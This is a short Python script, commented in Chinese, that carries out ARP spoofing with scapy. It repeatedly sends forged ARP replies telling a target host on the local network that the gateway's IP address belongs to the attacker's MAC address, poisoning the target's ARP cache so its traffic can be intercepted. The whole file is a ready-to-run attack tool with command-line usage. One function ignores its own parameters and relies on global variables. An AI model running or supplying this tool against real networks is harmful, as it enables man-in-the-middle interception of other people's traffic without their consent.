"""
arp欺骗。
date: 2019-6-19
"""
from scapy.layers.l2 import *
from scapy.layers.inet import *
import time
import sys


def wrap_arp(_local_mac, _target_ip, _target_mac, _gateway_ip):
    """ 封装arp数据包。

        Ether是以太网协议，ARP就是arp协议。在scapy中每一层协议封装通过“/”来完成。
    """
    return Ether(src=local_mac, dst=target_mac) / ARP(hwsrc=local_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip)


def send_arp(arp, interface):
    """ 发送arp数据包。

        sendp是在第二层发送数据包。
    """
    while True:
        sendp(arp, inter=2, iface=interface)
        time.sleep(1)


if __name__ == '__main__':
    args = sys.argv[1:]
    if len(args) != 3:
        print('usage python3 arp.py eth0 target_ip gateway_ip')
        sys.exit(0)

    # 本地网卡接口，欺骗主机，网关。
    interface, target_ip, gateway_ip = args
    # 本地主机mac地址。
    local_mac = get_if_hwaddr(interface)
    # 目标主机mac地址。
    target_mac = getmacbyip(target_ip)

    arp = wrap_arp(local_mac, target_ip, target_mac, gateway_ip)
    send_arp(arp, interface)
